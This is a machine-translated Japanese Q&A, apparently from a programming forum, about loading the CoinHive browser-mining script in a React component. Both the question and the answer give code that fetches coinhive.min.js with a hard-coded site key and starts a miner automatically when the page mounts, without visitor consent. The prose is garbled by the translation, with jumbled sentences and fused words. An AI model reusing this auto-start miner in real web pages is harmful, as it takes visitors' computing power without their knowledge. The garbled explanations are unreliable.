React内の外部スクリプトの読み込み（読み込みスクリプトを使用）

Question

このコードは単純な再実装react-coin-hiveですが、基本的に私はここで何が起こっているのか理解しようとしています。

それはしかし、私はエラーここ

Line 8: 'CoinHive' is not defined no-undef 

が反応するコードで取得し、Coinhiveのためのjavascriptをロードします。

import React, {Component} from 'react'; 
import loadScript from 'load-script'; 

class App extends Component { 
    buildMiner = async() => { 
    this.miner = await new Promise(resolve => { 
     loadScript('https://coinhive.com/lib/coinhive.min.js',() => { 
     return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3')); 
     }) 
    }) 
    }; 

    async componentWillMount() { 
    this.buildMiner(); 
    this.miner.start(); 
    } 

    render() { 
    return (
     <div> 
     Start mining! 
     </div> 
    ); 
    } 
} 

export default App; 

あなたがCoinhiveをロードした場合、通常、あなたがそのオブジェクトへのアクセス権を持っているでしょう、電話する：

<script src="https://coinhive.com/lib/coinhive.min.js"></script> 

<script> 
    var miner = new CoinHive.Anonymous('YOUR_SITE_KEY'); 
    miner.start(); 
</script> 

私が持っているもう一つの小さな質問は、なぜですか？構文をSE：

buildMiner = async() => {} 

なく言う：

async buildMiner() {} 

Answer 1

それがベストプラクティスであると私は、あなたがcomponentDidMountでCoinhiveライブラリをロードすることをお勧め： Reference、このサイトからの引用：

リモートエンドポイントからデータをロードする必要がある場合は、ネットワークリクエストをインスタンス化するのに適しています。

はなぜこれほどのように、コンストラクタ関数でstateをinitilazingで起動しない、すべてについてpropsとstateさリアクト？あなたのbuildMiner関数がPromiseを返すので、

constructor(props) { 
    super(props); 
    this.state = { 
     loadScriptCalled: false, // state variable to let us know if loadScript has run 
     miner: null // state variable to let us know if the miner is available 
    }; 
    } 

また、あなたはあなたの関数を「promisify」し、その後awaitasyncを呼び出す必要はありません。その後

buildMiner =() => { 
    return new Promise((resolve, reject) => { 
     loadScript('https://coinhive.com/lib/coinhive.min.js', 
     (error, script) => { 
     if (error) { 
      reject(error); 
     } else { 
      console.log("Loaded") 
      return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3')); 
     } 
     }) 
    }) 
    }; 

、this.buildMinerはPromiseされて、あなたは単にそのように扱う必要があり、そのように、then()またはcatch()ブロックであなたのstateコンポーネント上で動作：

componentDidMount() { 
    this.buildMiner() 
    .then((miner) => { 
     console.log("miner :", miner); 
     this.setState({ 
     loadScriptCalled: true, 
     miner: miner 
     }); 
     this.state.miner.start(); 
    }) 
    .catch((error) => { 
     this.setState({ 
     loadScriptCalled: true 
     }) 
     console.log("Failed to load CoinHive :", error); 
    }); 
    } 

完全なコードはここにあります：https://codesandbox.io/s/o4lo1my0ky

これが役に立ちます。